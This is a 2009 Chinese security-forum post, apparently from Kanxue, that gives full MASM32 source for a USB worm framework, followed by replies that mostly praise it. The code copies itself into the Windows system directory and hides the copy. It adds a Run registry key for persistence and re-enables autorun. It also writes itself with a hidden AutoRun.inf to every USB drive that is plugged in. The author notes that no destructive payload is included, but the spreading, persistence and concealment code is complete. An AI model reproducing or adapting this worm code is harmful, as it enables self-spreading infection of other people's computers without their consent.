首页
社区
课程
招聘
[旧帖] [原创]U盘病毒(WIN32汇编) 0.00雪花
2009-10-23 08:26 4434

[旧帖] [原创]U盘病毒(WIN32汇编) 0.00雪花

2009-10-23 08:26
4434
【文章标题】: U盘病毒框架(WIN32汇编)
【文章作者】: 无名无姓
【作者QQ号】: 992017170
【软件大小】: 3.5
【编写语言】: MASM32
【操作平台】: winXP
【软件介绍】: 一个U盘病毒大概设计框架 ,没有加破坏代码部分
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【代码部分】:
.386
.model flat,stdcall
option casemap:none

include windows.inc
include shlwapi.inc
include  user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
includelib shlwapi.lib
include Advapi32.inc
includelib Advapi32.lib
include DBT.inc

.data?
szExePath  db  MAX_PATH  dup(?)
szSysPath  db MAX_PATH  dup(?)
U   db 3 dup(?)
hInstance dd ?
hMainWnd dd ?

.const
szClassName  db 'xk',0
szUName  db 'xk_U.exe',0
szSysName  db 'xk_Sys.exe',0
szAutoRunFile db 'AutoRun.inf',0
szReError   db  'RegisterClass error!',0
szRegOne    db 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',0
szRegTwo    db 'NoDriveTypeAutoRun',0
szRegThree  db 'SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run',0
szOne       db '\',0

szFileOne   db  '[AutoRun]',0dh,0ah,0
szFileTwo   db  'open=',0
szFileFour  db  0dh,0ah,0
szFileThree db  'shellExecute=',0
szFileFive  db  'shell\Auto\command=',0
szFileSix   db  'shell=Auto',0dh,0ah,0

.code
WndProc Proto  :dword ,:dword ,:dword,:dword
FirstDriveFromMask  Proto   :dword
FileExist  Proto :dword
GetSelfPath Proto  :  dword
GetSysPath  Proto  :  dword
SetFileAttrib  Proto:  dword
RegAutoRun   Proto:  dword
CopyToUAndSet  Proto  
CreateAutoRunFile  Proto:  dword
FindSelf   Proto

GetSysPath proc path1
        invoke GetSystemDirectory,path1,MAX_PATH
        ret
GetSysPath endp

GetSelfPath proc path2
        invoke GetModuleFileName,NULL,path2,MAX_PATH
        .if eax
                mov eax,TRUE
                ret
        .endif

        mov eax,FALSE
        ret
GetSelfPath endp

FileExist proc path3
        local @result
        invoke PathFileExists,path3
        mov @result ,eax
        .if eax==1
                mov eax,TRUE
                ret
        .endif
        mov eax,FALSE
        ret
FileExist endp

RegAutoRun  proc path4
        local @hkey
        local @v
        mov @v,0
       
        invoke RegOpenKey,HKEY_CURRENT_USER,offset szRegOne,addr @hkey
       
       
       
        invoke RegSetValueEx,@hkey,offset szRegTwo,NULL,REG_DWORD,addr @v,sizeof dword
       
        invoke RegOpenKey,HKEY_LOCAL_MACHINE,offset szRegThree,addr @hkey
        .if eax==ERROR_SUCCESS
               
                invoke RegSetValueEx,@hkey,addr szSysName,NULL,REG_SZ, path4,MAX_PATH
                invoke RegCloseKey,@hkey
                mov eax,TRUE
               
        .else
                mov eax,FALSE
               
        .endif
       
        ret
RegAutoRun endp

SetFileAttrib  proc path5
        invoke SetFileAttributes,path5,FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN
        ret
SetFileAttrib  endp

FindSelf   proc
        local @pe:PROCESSENTRY32
        local @hShot
        local @exe[100]:byte
        invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
       
        mov @hShot,eax
        mov @pe.dwSize,sizeof PROCESSENTRY32
       
        invoke Process32First,@hShot,addr @pe
       
        .if eax
       
                .repeat
                        invoke lstrcmp,addr @pe.szExeFile,addr szSysName
                        .if eax==0
                                invoke CloseHandle,@hShot
                                mov eax,TRUE
                                ret
                        .endif
                        invoke Process32Next,@hShot,addr @pe
                .until eax==0
        .endif

        invoke CloseHandle,@hShot
        mov eax,FALSE
        ret
FindSelf  endp

CopyToSysAndSet  proc hwnd
        local @szPath[MAX_PATH]:byte
       
        invoke RtlZeroMemory,addr @szPath,MAX_PATH
        invoke lstrcpy,addr @szPath,addr szSysPath
        invoke lstrcat,addr @szPath,addr szOne
        invoke lstrcat,addr @szPath,addr szSysName
       
        invoke FileExist,addr @szPath
        .if !eax
               
                invoke CopyFile,addr szExePath,addr @szPath,FALSE
               
                invoke RegAutoRun,addr @szPath
               
                invoke SetFileAttrib,addr @szPath
               
        .else
               
                invoke FindSelf
               
                        .if !eax
                               
                                invoke WinExec,addr @szPath,SW_HIDE
                                invoke SendMessage,hwnd,WM_CLOSE,0,0
                        .endif
        .endif
       
        mov eax,FALSE
        ret
CopyToSysAndSet  endp

CopyToUAndSet  proc
        local @szPath[MAX_PATH]:byte
        local @szAutoFile[MAX_PATH]:byte

        invoke lstrcpy,addr @szPath,addr U
        invoke lstrcat,addr @szPath,addr szOne
        invoke lstrcat,addr @szPath,addr szUName
        
        invoke lstrcpy,addr @szAutoFile,addr U
        invoke lstrcat,addr @szAutoFile,addr szOne
        invoke lstrcat,addr @szAutoFile,addr szAutoRunFile

        invoke FileExist,addr @szAutoFile
        .if !eax
                invoke CreateAutoRunFile,addr @szAutoFile
                invoke SetFileAttrib,addr @szAutoFile
        .endif

        invoke FileExist,addr @szPath
        .if !eax
                invoke CopyFile,addr szExePath,addr @szPath,FALSE
                invoke SetFileAttrib,addr @szPath
               
        .endif
        mov eax,FALSE
        ret
CopyToUAndSet  endp
               
       
CreateAutoRunFile   proc  path
        local @hFile
        local @dwWrite
        invoke CreateFile,path,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,\
                FILE_ATTRIBUTE_NORMAL,0
        mov @hFile,eax
        .if eax
                invoke WriteFile,@hFile,addr szFileOne,sizeof szFileOne,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szFileTwo,sizeof szFileTwo,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szUName,sizeof szUName,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szFileFour,sizeof szFileFour,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szFileThree,sizeof szFileThree,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szUName,sizeof szUName,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szFileFour,sizeof szFileFour,addr @dwWrite,0
               
                invoke WriteFile,@hFile,addr szFileFive, sizeof szFileFive,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szUName,sizeof szUName,addr @dwWrite,0
                invoke WriteFile,@hFile,addr szFileFour,sizeof szFileFour,addr @dwWrite,0
                invoke WriteFile, @hFile,addr szFileSix,sizeof szFileSix,addr @dwWrite,0

                invoke CloseHandle,@hFile
                mov eax,TRUE
                ret
        .endif
        mov eax ,FALSE
        ret
CreateAutoRunFile  endp

;10
FirstDriveFromMask  proc  unitmask
        local @i:byte
        mov @i,0
        .while @i<26
                .if unitmask & 1h
                        .break
                .endif
                shr unitmask ,1
                inc @i
        .endw

        mov al,'A'
        add @i,al
        mov al, @i
        ret
FirstDriveFromMask  endp
       

OnDeviceChange proc uses esi ebx  hwnd,wParam,lParam

              ;将DEV_BROADCAST_HDR的地址放到esi
               mov esi,lParam

               mov eax,wParam
               
               .if eax==DBT_DEVICEARRIVAL
                       
                  mov ebx,[esi+DEV_BROADCAST_HDR.dbch_devicetype]
                  .if ebx==DBT_DEVTYP_VOLUME
                      mov eax,[esi+DEV_BROADCAST_VOLUME.dbcv_unitmask]
                     
                      invoke FirstDriveFromMask,eax
                      mov U[0],al
                      invoke CopyToUAndSet
                  .endif
                .endif

              .if  eax==DBT_DEVICEREMOVECOMPLETE
              .endif

              ;invoke LRESULT,NULL

              ret
OnDeviceChange endp

WndProc proc uses ebx edi esi hwnd,message,wParam,lParam
        mov eax,message
        .if eax==WM_CREATE
               
                mov U[1],':'
                invoke GetSysPath,offset szSysPath
               
                invoke SetTimer,hwnd,1,500,0
                invoke GetSelfPath,offset szExePath
               
                mov eax,0
               
       

        .elseif eax==WM_TIMER
                mov al,szSysPath[0]
               
                .if szExePath[0]==al
                        invoke SendMessage,hwnd,WM_DEVICECHANGE,0,0
                .else
                        invoke CopyToSysAndSet,hwnd
                .endif

                mov eax,0
               
       

        .elseif eax==WM_DEVICECHANGE
               
                invoke OnDeviceChange,hwnd,wParam,lParam
                mov eax,0
               
       

        .elseif eax==WM_DESTROY
                invoke KillTimer,hwnd,1
                invoke PostQuitMessage,0
                mov eax,0
               
        .else
                invoke DefWindowProc,hwnd,message,wParam,lParam
                ret
        .endif
        xor eax,eax
        ret
WndProc endp

Main  Proc  
         
         
         local @msg:MSG
         local @wndclass:WNDCLASSEX

         ;local @hAccelerator
         invoke GetModuleHandle,NULL
         mov hInstance,eax
         invoke RtlZeroMemory,addr @wndclass,sizeof @wndclass
         invoke LoadCursor,0,0
         mov @wndclass.hCursor,eax
         push hInstance
         pop @wndclass.hInstance
         mov @wndclass.cbSize,sizeof WNDCLASSEX
         mov @wndclass.style,0
         mov @wndclass.lpfnWndProc,offset WndProc
         mov @wndclass.hbrBackground,0

         mov @wndclass.lpszClassName,offset szClassName
       
         
         invoke RegisterClassEx,addr @wndclass
        
         invoke CreateWindowEx,WS_EX_CLIENTEDGE ,offset szClassName,offset szUName,\
                WS_OVERLAPPEDWINDOW,100,100,600,400,NULL,NULL,hInstance,NULL
         mov hMainWnd,eax

         
         .while  TRUE
                 invoke GetMessage,addr @msg,NULL,0,0
                 .break .if eax==0
                 
                 invoke TranslateMessage,addr @msg
                 invoke DispatchMessage,addr @msg
                 ;.endif

         .endw
         
         ret

Main  endp

start:
     call Main
     invoke ExitProcess,NULL

     end start

上面的DBT.INC为本人根据DBT.H所写,因为在网上没有找到,如果哪位大侠有,给偶一份!

功能:更改注册表(开机启动),将此程序拷贝到系统目录和U盘中  并生成Autorun.inf  .......
此程序只是简单的实现U盘病毒的一个框架,没有加入破坏系统或其它软件的代码,至于DBT.INC 里面是结构和数据的定义部分,并无对函数的说明,应该没有相对应的dll部分,附件中加入了此程序的C版本,希望对大家有所帮助。本人小菜一只,大侠勿笑!

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (21)
雪    币: 66
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zozoiiiiii 2009-10-23 11:00
2
0
include DBA.inc ,没有DBA的dll文件么?DBA是系统dll么?这个汇编代码的功能是不是就是把u盘内容直接在电脑上显示出来啊,不知道有没有理解错
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
reala 2009-10-23 12:48
3
0
来支持下原创,虽然我看不懂
雪    币: 33
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shitname 2009-11-1 12:29
4
0
支持下
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
贾宝玉 2009-11-1 13:45
5
0
咋看不像汇编啊,还有move指令???
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
贾宝玉 2009-11-1 13:45
6
0
咋看不像c/c++啊,还有move指令???
雪    币: 50
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dogsled 2009-11-1 15:14
7
0
支持一下!努力学习!
雪    币: 36
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lovelamb 2009-11-2 15:30
8
0
WIN32汇编是这样吗?不好意思我新手,学习中
雪    币: 429
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 41 2009-11-2 16:03
9
0
win32asm就是长这样!!!
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luckbug 2009-11-2 22:08
10
0
不错,还是有点能耐
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhaoxiaofe 2009-11-2 22:21
11
0
我还的从零开始哦
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
maplejuyou 2009-11-3 02:52
12
0
唉,我要学习的还好多
雪    币: 78
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
whypro 2009-11-6 15:15
13
0
加一些注解好吗?
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
netsnowvip 2009-11-6 17:03
14
0
。。。我下个C++版本吧  汇编看不懂
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jptiancai 2011-2-17 15:34
15
0
支持楼主,用强大的汇编写软件!
雪    币: 386
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ttgood 2011-2-17 16:35
16
0
支持楼主,用强大的汇编写软件
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
嗳已殇 2011-2-17 20:06
17
0
zhichi xia
雪    币: 43
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Xiaocp 2011-2-18 19:26
18
0
多谢分享
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
畅想未来 2011-2-18 22:01
19
0
楼主太厉害了,希望自己有一天也能写出这样的程序!
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Sageice 2011-2-27 21:05
20
0
支持楼主。。虽然我还看不懂。。不过我相信以后我会看懂的。。
雪    币: 48
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
高粱 2011-2-28 12:42
21
0
看不懂。
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
墨陌 2011-2-28 18:08
22
0
完全看不懂。。。。搞成C++或许能看懂一些。。路还很长啊
游客
登录 | 注册 方可回帖
返回